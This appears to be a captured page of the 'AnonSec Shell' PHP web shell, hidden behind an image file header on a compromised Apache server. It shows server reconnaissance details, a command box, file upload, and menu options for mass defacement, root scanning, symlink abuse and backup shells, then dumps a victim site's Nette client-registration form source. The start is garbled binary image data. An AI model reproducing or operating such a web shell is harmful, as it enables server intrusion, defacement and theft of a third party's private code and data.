JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 31.31.79.131  /  Your IP : 172.18.0.1   [ Reverse IP ]
Web Server : Apache/2.4.38 (Debian)
System : Linux a1822d00732a 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64
User : www-data ( 33)
PHP Version : 7.1.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/app/components/forms/client/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/app/components/forms/client/BaseClientForm.php
<?php
/**
 * Created by PhpStorm.
 * User: Artem
 * Date: 8/17/2018
 * Time: 2:11 PM
 */

namespace Promoteus\Forms;

use App\apiModule\Presenters\ApiPresenter;
use App\Presenters\BasePresenter;
use DateTime;
use Latte\Engine;
use Nette\DI\Container;
use Nette\Http\Session;
use Nette\Mail\Message;
use Nette\Mail\SendException;
use Nette\Security\User;
use Nette\Utils\ArrayHash;
use Promoteus\CatalogPrintsRepository;
use Promoteus\CatalogRepository;
use Promoteus\ClientNewsletterGroupRepository;
use Promoteus\ClientRepository;
use Promoteus\CompanyTypeRepository;
use Promoteus\Components\Mails;
use Promoteus\CountryRepository;
use Promoteus\CurrentSupplierRepository;
use Promoteus\Form;
use Promoteus\ImagesTypeRepository;
use Promoteus\LinkAdminClientRepository;
use Promoteus\NewsletterGroupRepository;
use Promoteus\RepositoryException;
use Tracy\Debugger;

abstract class BaseClientForm extends BaseForm
{
    const DEFAULT_SATURATION = [
        'cz' => 'Vážení zákazníci',
        'de' => 'Sehr geehrte Kunden',
        'en' => 'Dear Sir / Madam',
        'sk' => 'Vážení zákazníci'
    ];

    /** @var ClientRepository $repository */
    protected $repository;

    /**
     * @param MyForm $form
     * @param int|null $id
     * @return MyForm
     */
    function getUserInformationFields(MyForm $form, int $id = null)
    {
        $form->addText('email', BasePresenter::getLanguage('login'))
            ->setRequired(BasePresenter::getLanguage('nebyl-vyplnen', ['key1' => 'email']))
            ->addRule(Form::EMAIL, BasePresenter::getLanguage('nespravny-format', ['field' => 'email']))
            ->addRule(Form::MAX_LENGTH, BasePresenter::getLanguage('pocet-znaku-min', array("key1" => "email", "key2" => "64")), 64);


        $form->addPassword('password', BasePresenter::getLanguage('heslo'))
            ->setRequired(boolval($id) || $this->userIsAdmin ? false : BasePresenter::getLanguage('nebylo-vyplneno', ["key1" => "heslo",]))
            ->addRule(Form::MIN_LENGTH, BasePresenter::getLanguage('pocet-znaku-min', array("key1" => "heslo", "key2" => "8")), 8)
            ->setOption('id', 'password');

        $form->addPassword('password2', BasePresenter::getLanguage('heslo-znovu'))
            ->setOmitted()
            ->setRequired(false)
            ->setOption('id', 'password2')
            ->addRule(Form::EQUAL, BasePresenter::getLanguage('hesla-neshoduji'), $form['password'])
            ->addConditionOn($form['password'], $form::NOT_EQUAL, '')
            ->addRule(Form::REQUIRED)
            ->endCondition();
        return $form;
    }

    /**
     * @param MyForm $form
     * @param int|null $id
     * @return MyForm
     */
    function getPriceListFields(MyForm $form, int $id = null)
    {
        $form->addTextArea('price_list_text', BasePresenter::getLanguage('vlastni-text-ceniku-klient') . ':');
        $form->addText('prefix', ucfirst(BasePresenter::getLanguage('vlastni-prefix')));
        return $form;
    }

    /**
     * @param MyForm $form
     * @param int|null $id
     * @return MyForm
     */
    function getUserDeliveryFields(MyForm $form, int $id = null)
    {
        $form->addText('delivery_street', BasePresenter::getLanguage('ulice'))
            ->setRequired(false)
            ->addRule(Form::MAX_LENGTH, BasePresenter::getLanguage('pocet-znaku-max', array("key1" => "ulice", "key2" => "64")), 64);

        $form->addText('delivery_city', BasePresenter::getLanguage('mesto'))
            ->setRequired(false)
            ->addRule(Form::MAX_LENGTH, BasePresenter::getLanguage('pocet-znaku-max', array("key1" => "mesto", "key2" => "64")), 64);

        $form->addText('delivery_zip', BasePresenter::getLanguage('psc'))
            ->setRequired(false)
            ->addRule(Form::MAX_LENGTH, BasePresenter::getLanguage('pocet-znaku-max', array("key1" => "psc", "key2" => "16")), 16);

        $form->addText('delivery_mobile', BasePresenter::getLanguage('mobil'))
            ->setRequired(false)
            ->addRule(Form::MAX_LENGTH, BasePresenter::getLanguage('pocet-znaku-max', array("key1" => "mobil", "key2" => "32")), 32);

        return $form;
    }

    /**
     * @param MyForm $form
     * @param int|null $id
     * @return MyForm
     */
    function getUserNewslettersFields(MyForm $form, int $id = null)
    {

        $form->addText('salutation', 'Oslovení')
            ->setOption('description', 'Např. Vážený Honzo')
            ->addConditionOn($form['is_active'], Form::EQUAL, true)
            ->addRule(Form::FILLED, '%label je povinná položka.')/* ->addRule(function () use ($form) {
                return !in_array($form['salutation']->value, self::DEFAULT_SATURATION);
            }, '%label nesmí být "%value".')*/
        ;

        $form->addRadioList('newsletter', "Zasílat novinky e-mailem", ['ne', 'ano'])
            ->setDefaultValue(1);

        $container = $form->addContainer('newsletter_group');

        $newsletterGroups = $this->getNewsletterGroups();
        foreach ($newsletterGroups as $group) {
            $container->addCheckbox($group->id, $group->name);
        }

        $container->setDefaults($this->getClientNewsletterGroups($id));
        return $form;
    }

    /**
     * @param MyForm $form
     * @param int|null $id
     * @return MyForm
     */
    function getUserFirmFields(MyForm $form, int $id = null)
    {
        $form->addText('firm_turn_from', BasePresenter::getLanguage("obrat-firm") . " " . BasePresenter::getLanguage("company-turn-from-prefix"))
            ->setAttribute('type', 'number')
            ->setAttribute('min', 0)
            ->setOption('description', '€');

        $form->addText('firm_turn_to', BasePresenter::getLanguage("obrat-firm") . " " . BasePresenter::getLanguage("company-turn-to-prefix"))
            ->setAttribute('type', 'number')
            ->setAttribute('min', 0)
            ->setOption('description', '€');

        $form->addText('firm_traders_count', BasePresenter::getLanguage("pocet-obchodniku-firmy"))
            ->setAttribute('min', 0)
            ->setAttribute('type', 'number');

        $form->addTextArea('firm_description', BasePresenter::getLanguage("popis-firmy-klient"));

        $form->addTextArea('firm_characteristic', BasePresenter::getLanguage('charakteristika-firmy'))
            ->addRule(Form::MAX_LENGTH, BasePresenter::getLanguage('pocet-znaku-max', array("key1" => "charakteristika-firmy", "key2" => "256")), 256)
            ->setRequired(false);
        return $form;
    }

    /**
     * @param MyForm $form
     * @param int|null $id
     * @return MyForm
     */
    function getUserOtherFields(MyForm $form, int $id = null)
    {
        /** @var CurrentSupplierRepository $currentSupplierRepository */
        $currentSupplierRepository = $this->container->getService('currentSupplierRepository');
        /** @var CompanyTypeRepository $companyTypeRepository */
        $companyTypeRepository = $this->container->getService('companyTypeRepository');
        /** @var CatalogRepository $catalogRepository */
        $catalogRepository = $this->container->getService('catalogRepository');

        $form->addTextArea('note', 'Poznámka');

        $form->addTextArea('activity', 'Detail činnosti');

        $form->addSelect('referent', 'Obchodní zástupce')
            ->setItems($this->getReferentsForSelectbox());

        $form->addSelect('catalog', 'Katalog Gift Product')
            ->setItems($this->getCatalogsForSelectbox())
            ->setDefaultValue($id ? $catalogRepository->getUserCatalog($id)['id_catalog']: 0);

        $form->addSelect('user_group_id', 'Zákaznická skupina')
            ->setItems($this->getUserGroupsForSelecbox());

        $form->addCheckbox('has_it_products', 'Má na webů it předměty');

        $form->addMultiSelect('client_current_supplier', 'Od koho')
            ->setItems($currentSupplierRepository->getDataForSelectInput('name_cze'))
            ->setDefaultValue(array_keys($currentSupplierRepository->getClientsCurrentSupplier($id)->fetchPairs('current_supplier_id')));

        $form->addMultiSelect('client_company_type', 'Typ firmy')
            ->setItems($companyTypeRepository->getDataForSelectInput('name_cze'))
            ->setDefaultValue(array_keys($companyTypeRepository->getClientsCompanyTypes($id)->fetchPairs('company_type_id')));

        $form->addSelect('price_profile', 'Cenový profil')
            ->setItems($this->getPriceProfilesForSelectbox());

        $form->addSelect('course_default', 'Výchozí měna')
            ->setItems($this->getCursesForSelectbox())
            ->setRequired('Prosím Vás zvolit výchozí měnu');

        $form->addUpload('logo', 'Logo')
            ->setRequired(false)
            ->addRule(FORM::IMAGE, '%label musí být ve formátu JPG, PNG nebo GIF');

        $form->addCheckbox('salesman', 'Povolit nastavení cenových profilů v ceníku');

        return $form;
    }

    /**
     * @param MyForm $form
     * @param int|null $id
     * @return MyForm
     */
    function getUserAddressFields(MyForm $form, int $id = null)
    {
        $form->addText('company', BasePresenter::getLanguage('nazev-firmy'))
            ->setRequired(BasePresenter::getLanguage('nebyl-vyplnen', ["key1" => "nazev-firmy",]))
            ->addRule(Form::MAX_LENGTH, BasePresenter::getLanguage('pocet-znaku-max', array("key1" => "nazev-firmy", "key2" => "64")), 64);

        $form->addHidden('id_lang', BasePresenter::getLanguage('Lang'))
            ->setDefaultValue(BasePresenter::getLanguageId())
            ->setRequired(FALSE);

        $form->addText('id_number', BasePresenter::getLanguage('ico'))
            ->setOption('description', 'IČO musí obsahovat pouze číslice.')
            ->addConditionOn($form['id_lang'], Form::EQUAL, "1")
                ->addRule(Form::FILLED)
                ->setRequired(BasePresenter::getLanguage('nebyl-vyplnen', ["key1" => "ico",]));


        $form->addText('dic', BasePresenter::getLanguage('dic'))
            ->setRequired(BasePresenter::getLanguageId() != 1/*cze*/ ? BasePresenter::getLanguage('nebyl-vyplnen', ["key1" => "dic",]) : false)
            ->addRule(Form::MAX_LENGTH, BasePresenter::getLanguage('pocet-znaku-max', array("key1" => "dic", "key2" => "32")), 32);

        $form->addText('degree', BasePresenter::getLanguage('titul'))
            ->setRequired(FALSE)
            ->addRule(Form::MAX_LENGTH, BasePresenter::getLanguage('pocet-znaku-max', array("key1" => "titul", "key2" => "50")), 50);
        $form->addText('name', BasePresenter::getLanguage('jmeno'))
            ->setRequired(BasePresenter::getLanguage('nebylo-vyplneno', ["key1" => "jmeno",]))
            ->addRule(Form::MAX_LENGTH, BasePresenter::getLanguage('pocet-znaku-max', array("key1" => "jmeno", "key2" => "32")), 32);

        $form->addText('surname', BasePresenter::getLanguage('prijmeni'))
            ->setRequired(BasePresenter::getLanguage('nebylo-vyplneno', ["key1" => "prijmeni",]))
            ->addRule(Form::MAX_LENGTH, BasePresenter::getLanguage('pocet-znaku-max', array("key1" => "prijmeni", "key2" => "64")), 64);

        $form->addText('street', BasePresenter::getLanguage('ulice'))
            ->setRequired(false)
            ->addRule(Form::MAX_LENGTH, BasePresenter::getLanguage('pocet-znaku-max', array("key1" => "ulice", "key2" => "64")), 64);

        $form->addText('city', BasePresenter::getLanguage('mesto'))
            ->setRequired(false)
            ->addRule(Form::MAX_LENGTH, BasePresenter::getLanguage('pocet-znaku-max', array("key1" => "stat", "key2" => "64")), 64);

        $form->addText('zip', BasePresenter::getLanguage('psc'))
            ->setRequired(false)
            ->addRule(Form::MAX_LENGTH, BasePresenter::getLanguage('pocet-znaku-max', array("key1" => "psc", "key2" => "16")), 16);

        /** @var CountryRepository $country */
        $country = $this->container->getService('countryRepository');
        $form->addSelect('country', BasePresenter::getLanguage('cenik-pro-zemi'))
            ->setRequired(FALSE)
            ->setItems($country->getDataForSelectInput('name'))->setDefaultValue('56');


        $form->addText('phone', BasePresenter::getLanguage('telefon'))
            ->setRequired(FALSE)
            ->setOption('description', BasePresenter::getLanguage('telefon-format'))
            ->addRule(Form::MAX_LENGTH, BasePresenter::getLanguage('pocet-znaku-max', array("key1" => "telefon", "key2" => "32")), 32);

        $form->addText('mobile', BasePresenter::getLanguage('mobil'))
            ->setRequired(FALSE)
            ->setOption('description', BasePresenter::getLanguage('telefon-format'))
            ->addRule(Form::MAX_LENGTH, BasePresenter::getLanguage('pocet-znaku-max', array("key1" => "mobil", "key2" => "32")), 32);

        $form->addText('fax', BasePresenter::getLanguage('fax'))
            ->setRequired(FALSE)
            ->setOption('description', BasePresenter::getLanguage('telefon-format'))
            ->addRule(Form::MAX_LENGTH, BasePresenter::getLanguage('pocet-znaku-max', array("key1" => "fax", "key2" => "13")), 13);

        $form->addText('website', BasePresenter::getLanguage('web'))
            ->setRequired(false)
            ->addRule(Form::MAX_LENGTH, BasePresenter::getLanguage('pocet-znaku-max', array("key1" => "web", "key2" => "128")), 128);


        return $form;
    }


    private function getClientNewsletterGroups($clientId)
    {
        $groups = $this->container->getService("clientNewsletterGroupRepository")->findByClientId($clientId);

        $result = array();
        if ($groups) {
            foreach ($groups as $group) {
                $result[$group->newsletter_group_id] = TRUE;
            }
        }
        return $result;
    }

    /**
     * @param MyForm $form
     * @param ArrayHash $values
     * @return void
     */
    public function formSucceeded(MyForm $form, ArrayHash $values): void
    {
        $isAdmin = false;
        if (property_exists($values, 'isAdmin')) {
            $isAdmin = $values->isAdmin;
            unset($values['isAdmin']);
        }
        $id = $values->id ?? null;
        /** @var ClientRepository $repository */
        $repository = $this->container->getService('clientRepository');
        // don't save the password if it's empty
        if ($id && empty($values['password'])) {
            unset($values['password']);
        }
        $guest = $repository->getBy(['email' => $values['email']]);
        $isNew = empty($id);
        if ($guest) {
            $id = $guest->id;
        }

        if ($isNew && $values['password'] && empty($values['id_lang'])) {
            $values['id_lang'] = BasePresenter::getLanguageId();
            $values['api_token'] = ApiPresenter::generateApiKey($id);
        }

        try {
            $guest = $repository->persist($id, $values);
            if ($guest) {
                if ($guest->password && !$isAdmin) {
                    try {
                        (new Mails())->sendClientRegistration($values['email']);
                        $form->getPresenter()->flashMessage(BasePresenter::getLanguage("vse-bylo-odeslano"), 'success');
                    } catch (SendException $exception) {
                        $form->getPresenter()->flashMessage($exception->getMessage(), 'danger');
                    }
                }
                $form->getPresenter()->flashMessage(BasePresenter::getLanguage("registrace-byla-uspesna"), 'success');
            }
            $form->getPresenter()->flashMessage(BasePresenter::getLanguage("informace-byla-ulozena"), 'success');
        } catch (RepositoryException $e) {
            $form->getPresenter()->flashMessage($e->getMessage(), 'danger');
        }

    }

    /**
     * @param MyForm $form
     * @param ArrayHash $values
     * @return void
     */
    public function formValidate(MyForm $form, ArrayHash $values): void
    {
        /** @var ClientRepository $repository */
        $repository = $this->container->getService('clientRepository');

        $guest = $repository->getBy(['email' => $values->email]);
        if ($guest && !empty($guest->password)) {
            if (isset($values['id'])) {
                if ($guest->id != $values['id']) {
                    $form['email']->addError(BasePresenter::getLanguage('uzivatel-existuje'));
                }
            }
//            else {
//                $form['email']->addError(BasePresenter::getLanguage('uzivatel-existuje'));
//            }
        }

        if (($values->altus_id ?? false) && !$repository->isAltusIdAvailable($values->altus_id, $values->id ?? null)) {
            $form['altus_id']->addError('Klient s tímto Altus ID již existuje! Zvolte jiné Altus ID.');
        }
    }


    protected function saveCatalogUser($clientId, $catalogId, $new = FALSE)
    {
        /** @var CatalogRepository $repository */
        $repository = $this->container->getService('catalogRepository');
        if (!$new) {
            $repository->deleteConnection($clientId);
        }
        if ($catalogId != 0) {
            $repository->addConnection($clientId, $catalogId);
        }
    }


    protected function saveLinkAdminId($clientId, $adminId)
    {
        /** @var LinkAdminClientRepository $linkAdminClientRepository */
        $linkAdminClientRepository = $this->container->getService('linkAdminClientRepository');
        if ($adminId) {
            $linkAdminClientRepository->insertOrUpdate(['client_id' => $clientId],
                ['client_id' => $clientId, 'administrator_id' => $adminId]);
        } else {
            $linkAdminClientRepository->deleteByClientId($clientId);
        }
    }

    protected function saveNewsletterGroups($clientId, $groups)
    {
        /** @var ClientNewsletterGroupRepository $repository */
        $repository = $this->container->getService('clientNewsletterGroupRepository');
        if (is_string($groups)) {
            $groups = explode(",", $groups);
        } elseif (is_array($groups) || $groups instanceof ArrayHash) {
            $a = 0;
            $modGroup = null;
            foreach ($groups as $key => $value) {
                if ($value == TRUE) {
                    $modGroup[$a] = $key;
                    $a++;
                }
            }
            $groups = $modGroup;
        } elseif (is_double($groups)) {
            $groups = array("0" => strval(intval($groups)));
        } else {
            exit("FATAL ERROR when saving newsletter groups for user " . $clientId . " pokud toto náhodou někdy nastane, prosím okamžitě mě kontaktovat! Martin");
        }
        $repository->deleteByClientId($clientId);
        foreach ($groups ?? [] as $group_id) {
            $repository->insert(array('client_id' => $clientId, 'newsletter_group_id' => $group_id));
        }
    }

    /**
     * @return NewsletterGroupRepository
     */
    private function getNewsletterGroups()
    {
        return $this->container->getService("newsletterGroupRepository")->findAll();
    }

    private function getPriceProfilesForSelectbox()
    {
        $profiles = $this->container->getService("priceProfileRepository")->findAll();
        $result = array(0 => "--- žádný cenový profil ---");
        foreach ($profiles as $profile) {
            $result[$profile->id] = $profile->name;
        }

        return $result;
    }

    private function getCursesForSelectbox()
    {
        $curses = $this->container->getService("coursesRepository")->findAll();
        $result = ['' => "--- žádná výchozí měna ---"];
        foreach ($curses as $curs) {
            $result[$curs->id] = $curs->currency;
        }

        return $result;
    }

    private function getCatalogsForSelectbox()
    {
        $catalogs = $this->container->getService("catalogRepository")->findAll();

        $result = array(0 => "--- žádný katalog ---");
        foreach ($catalogs as $catalog) {
            $result[$catalog->id] = $catalog->name;
        }
        asort($result);
        return $result;
    }

    private function getReferentsForSelectbox()
    {
        //$salesMans = $this->context->administratorRepository->findAll();
        $salesMans = $this->container->getService("administratorRepository")->findBy(array('role="salesman"'));

        $result = array(0 => "--- žádný zástupce ---");
        foreach ($salesMans as $salesMan) {
            $result[$salesMan->id] = $salesMan->name;
        }

        return $result;
    }

    private function getUserGroupsForSelecbox()
    {
        $userGroups = $this->container->getService("userGroupRepository")->findAll();

        $result = array();
        foreach ($userGroups as $userGroup) {
            $result[$userGroup->id] = $userGroup->title;
        }

        return $result;
    }
}

Anon7 - 2022
AnonSec Team